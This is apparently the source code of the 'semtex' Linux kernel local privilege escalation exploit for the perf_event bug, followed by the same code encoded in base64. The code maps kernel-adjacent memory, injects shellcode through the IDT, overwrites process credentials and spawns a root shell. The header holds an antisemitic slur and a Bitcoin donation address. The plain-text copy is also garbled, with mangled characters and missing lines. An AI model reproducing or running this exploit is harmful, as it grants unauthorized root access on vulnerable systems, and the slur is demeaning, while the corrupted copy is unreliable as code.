/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map
= mmap
((void*)BASE
, SIZE
, 3, 0x32, 0,0)) == (void*)BASE
); sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
break;
}
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code
= (void*)mmap
((void*)kbase
, KSIZE
, 7, 0x32, 0, 0)) == (void*)kbase
); memset(code
, 0x90, KSIZE
); code
+= KSIZE
-1024; memcpy(code
, &fuck
, 1024); memcpy(code
-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p
= memmem
(code
, 1024, &needle
, 8)); if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm
("int $0x4"); assert(!setuid
(0)); return execl("/bin/bash", "-sh", NULL);
}
LyoKICogbGludXggMi42LjM3LTMueC54IHg4Nl82NCwgfjEwMCBMT0MKICogZ2NjLTQuNiAtTzIgc2VtdGV4LmMgJiYgLi9hLm91dAogKiAyMDEwIHNkQGZ1Y2tzaGVlcC5vcmcsIHNhbHV0IQogKgogKiB1cGRhdGUgbWF5IDIwMTM6CiAqIHNlZW1zIGxpa2UgY2VudG9zIDIuNi4zMiBiYWNrcG9ydGVkIHRoZSBwZXJmIGJ1ZywgbG9sLgogKiBqZXdnb2xkIHRvIDExNVQ2anpHclZNZ1EyTnQxV251YTdDaDFFdUw5V1hUMmcgaWYgeW91IGluc2lzdC4KICovCgojZGVmaW5lIF9HTlVfU09VUkNFIDEKI2luY2x1ZGUgPHN0ZGludC5oPgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN5cy9tbWFuLmg+CiNpbmNsdWRlIDxzeXNjYWxsLmg+CiNpbmNsdWRlIDxzdGRpbnQuaD4KI2luY2x1ZGUgPGFzc2VydC5oPgoKI2RlZmluZSBCQVNFICAweDM4MDAwMDAwMAojZGVmaW5lIFNJWkUgIDB4MDEwMDAwMDAwCiNkZWZpbmUgS1NJWkUgIDB4MjAwMDAwMAojZGVmaW5lIEFCKHgpICgodWludDY0X3QpKCgweGFiYWJhYmFiTEw8PDMyKV4oKHVpbnQ2NF90KSgoeCkqMzEzMzM3KSkpKQoKdm9pZCBmdWNrKCkgewogIGludCBpLGosazsKICB1aW50NjRfdCB1aWRzWzRdID0geyBBQigyKSwgQUIoMyksIEFCKDQpLCBBQig1KSB9OwogIHVpbnQ4X3QgKmN1cnJlbnQgPSAqKHVpbnQ4X3QgKiopKCgodWludDY0X3QpdWlkcykgJiAoLTgxOTIpKTsKICB1aW50NjRfdCBrYmFzZSA9ICgodWludDY0X3QpY3VycmVudCk+PjM2OwogIHVpbnQzMl90ICpmaXhwdHIgPSAodm9pZCopIEFCKDEpOwogICpmaXhwdHIgPSAtMTsKCiAgZm9yIChpPTA7IGk8NDAwMDsgaSs9NCkgewogICAgdWludDY0X3QgKnAgPSAodm9pZCAqKSZjdXJyZW50W2ldOwogICAgdWludDMyX3QgKnQgPSAodm9pZCopIHBbMF07CiAgICBpZiAoKHBbMF0gIT0gcFsxXSkgfHwgKChwWzBdPj4zNikgIT0ga2Jhc2UpKSBjb250aW51ZTsKICAgIGZvciAoaj0wOyBqPDIwOyBqKyspIHsgZm9yIChrID0gMDsgayA8IDg7IGsrKykKICAgICAgaWYgKCgodWludDMyX3QqKXVpZHMpW2tdICE9IHRbaitrXSkgZ290byBuZXh0OwogICAgICBmb3IgKGkgPSAwOyBpIDwgODsgaSsrKSB0W2oraV0gPSAwOwogICAgICBmb3IgKGkgPSAwOyBpIDwgMTA7IGkrKykgdFtqKzkraV0gPSAtMTsKICAgICAgcmV0dXJuOwpuZXh0OjsgICAgfQogIH0KfQoKdm9pZCBzaGVlcCh1aW50MzJfdCBvZmYpIHsKICB1aW50NjRfdCBidWZbMTBdID0geyAweDQ4MDAwMDAwMDEsb2ZmLDAsMCwwLDB4MzAwIH07CiAgaW50IGZkID0gc3lzY2FsbCgyOTgsIGJ1ZiwgMCwgLTEsIC0xLCAwKTsKICBhc3NlcnQoIWNsb3NlKGZkKSk7Cn0KCgppbnQgIG1haW4oKSB7CiAgdWludDY0X3QgIHUsZyxuZWVkbGUsIGtiYXNlLCAqcDsgdWludDhfdCAqY29kZTsKICB1aW50MzJfdCAqbWFwLCBqID0gNTsKICBpbnQgaTsKICBzdHJ1Y3QgewogICAgdWludDE2X3QgbGltaXQ7CiAgICB1aW50NjRfdCBhZGRyOwogIH0gX19hdHRyaWJ1dGVfXygocGFja2VkKSkgaWR0OwogIGFzc2VydCgobWFwID0gbW1hcCgodm9pZCopQkFTRSwgU0laRSwgMywgMHgzMiwgMCwwKSkgPT0gKHZvaWQqKUJBU0UpOwogIG1lbXNldChtYXAsIDAsIFNJWkUpOwogIHNoZWVwKC0xKTsgc2hlZXAoLTIpOwogIGZvciAoaSA9IDA7IGkgPCBTSVpFLzQ7IGkrKykgaWYgKG1hcFtpXSkgewogICAgYXNzZXJ0KG1hcFtpKzFdKTsKICAgIGJyZWFrOwogIH0KICBhc3NlcnQoaTxTSVpFLzQpOwogIGFzbSAoInNpZHQgJTAiIDogIj1tIiAoaWR0KSk7CiAga2Jhc2UgPSBpZHQuYWRkciAmIDB4ZmYwMDAwMDA7CiAgdSA9IGdldHVpZCgpOyBnID0gZ2V0Z2lkKCk7CiAgYXNzZXJ0KChjb2RlID0gKHZvaWQqKW1tYXAoKHZvaWQqKWtiYXNlLCBLU0laRSwgNywgMHgzMiwgMCwgMCkpID09ICh2b2lkKilrYmFzZSk7CiAgbWVtc2V0KGNvZGUsIDB4OTAsIEtTSVpFKTsgY29kZSArPSBLU0laRS0xMDI0OyBtZW1jcHkoY29kZSwgJmZ1Y2ssIDEwMjQpOwogIG1lbWNweShjb2RlLTEzLCJceDBmXHgwMVx4ZjhceGU4XDVcMFwwXDBceDBmXHgwMVx4ZjhceDQ4XHhjZiIsCiAgICBwcmludGYoIjIuNi4zNy0zLnggeDg2XzY0XG5zZEBmdWNrc2hlZXAub3JnIDIwMTBcbiIpICUgMjcpOwogIHNldHJlc3VpZCh1LHUsdSk7IHNldHJlc2dpZChnLGcsZyk7CiAgd2hpbGUgKGotLSkgewogICAgbmVlZGxlID0gQUIoaisxKTsKICAgIGFzc2VydChwID0gbWVtbWVtKGNvZGUsIDEwMjQsICZuZWVkbGUsIDgpKTsKICAgIGlmICghcCkgY29udGludWU7CiAgICAqcCA9IGo/KChnPDwzMil8dSk6KGlkdC5hZGRyICsgMHg0OCk7CiAgfQogIHNoZWVwKC1pICsgKCgoaWR0LmFkZHImMHhmZmZmZmZmZiktMHg4MDAwMDAwMCkvNCkgKyAxNik7CiAgYXNtKCJpbnQgJDB4NCIpOyAgYXNzZXJ0KCFzZXR1aWQoMCkpOwogIHJldHVybiBleGVjbCgiL2Jpbi9iYXNoIiwgIi1zaCIsIE5VTEwpOwp9Cg==